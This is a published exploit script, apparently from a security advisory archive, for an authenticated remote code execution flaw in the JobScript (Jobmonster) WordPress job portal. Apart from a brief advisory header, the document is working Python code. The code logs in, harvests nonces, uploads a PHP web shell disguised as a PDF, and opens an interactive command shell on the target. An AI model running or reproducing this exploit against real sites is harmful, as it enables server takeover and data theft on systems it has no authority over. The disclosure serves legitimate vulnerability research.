WordPress Plugin Job Script by Scubez – Remote Code Execution
#!C:/Python27/python.exe -u # # # JobScript Remote Code Execution Exploit # # # Vendor: Jobscript # Product web page: http://www.jobscript.in # Affected version: Unknown # # Summary: JobScript is inbuilt structured website was developed in PHP and MySQL # database. It's a complete job script for those who wants to start a professional # job portal website like naukri.com, monster.com, clickjobs.com or any such major # job portals. Jobscript was designed and developed with the following features like # control panel for Employer's and also for Job Seeker's, email alerts, job search, # online resume, payment and membership plans. # # Desc: JobScript suffers from an authenticated arbitrary PHP code execution. The # vulnerability is caused due to the improper verification of uploaded files in # '/admin-ajax.php' script thru the 'name' and 'file' POST parameters. This can # be exploited to execute arbitrary PHP code by uploading a malicious PHP script # file with '.php' extension (to bypass the '.htaccess' block rule) that will be # stored in '/jobmonster/wp-content/uploads/jobmonster/' directory. # # Tested on: Apache 2.4.9 # PHP 5.4.26 # # Vulnerability discovered by Bikramaditya 'PhoenixX' Guha # # Zero Science Lab - http://www.zeroscience.mk # Macedonian Information Security Research And Development Laboratory # # # Advisory ID: ZSL-2016-5322 # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5322.php # # # 31.03.2016 # import itertools, mimetools, mimetypes import cookielib, urllib, urllib2, sys import os, time, re, requests, httplib from cStringIO import StringIO from urllib2 import URLError global file, file1 file = ';nonce' file1 = '"security"' host = sys.argv[1] cj = cookielib.CookieJar() opener2 = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) prelogin = opener2.open('http://'+host+'/jobmonster/member-2/') output = prelogin.read() for line in output.splitlines(): if file1 in line: security = str(line.split("=")[4:])[3:13] break print 'Login please.' username = raw_input('Enter username: ') password = raw_input('Enter password: ') login_data = urllib.urlencode({ 'action' : 'noo_ajax_login', 'log' : username, 'pwd' : password, 'remember' : 'false', 'security' : security, 'redirect_to' : 'http%3A%2F%2Fcscript.in%2Fjobmonster%2Fmember-2%3Fpagename%3Dmember-2%26logged_in%3D1' }) login = opener2.open('http://'+host+'/jobmonster/wp-admin/admin-ajax.php', login_data) auth = login.read() if re.search(r'false', auth): print 'Incorrect username or password' sys.exit() else: print 'Authenticated' response = opener2.open('http://'+host+'/jobmonster/member-2/?pagename=member-2&logged_in=1') response = opener2.open('http://'+host+'/jobmonster/post-a-resume/?action=resume_general') output = response.read() for line in output.splitlines(): if file in line: nonce = str(line.split("=")[3:])[28:38] headers = {'User-agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0','Referer':'\'http://'+host+'/jobmonster/post-a-resume/?action=resume_general\'','Accept-Language':'en-US,en;q=0.5','Content-type':'multipart/form-data; boundary=---------------------------51402178812572','Connection':'close','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Encoding':'gzip, deflate','Content-length':'335'} body = """-----------------------------51402178812572 Content-Disposition: form-data; name="name" RCE.php -----------------------------51402178812572 Content-Disposition: form-data; name="file"; filename="RCE.php" Content-Type: application/pdf <?php system($_GET['cmd']); ?> -----------------------------51402178812572--""" response = requests.post('http://'+host+'/jobmonster/wp-admin/admin-ajax.php?action=noo_plupload&nonce='+nonce+'', data=body, headers=headers, cookies=cj) raw_input() while True: try: cmd = raw_input('shell@'+host+':~# ') execute = opener2.open('http://'+host+'/jobmonster/wp-content/uploads/jobmonster/RCE.php?cmd='+urllib.quote(cmd)) reverse = execute.read() print reverse if cmd.strip() == 'exit': break except Exception: break sys.exit() |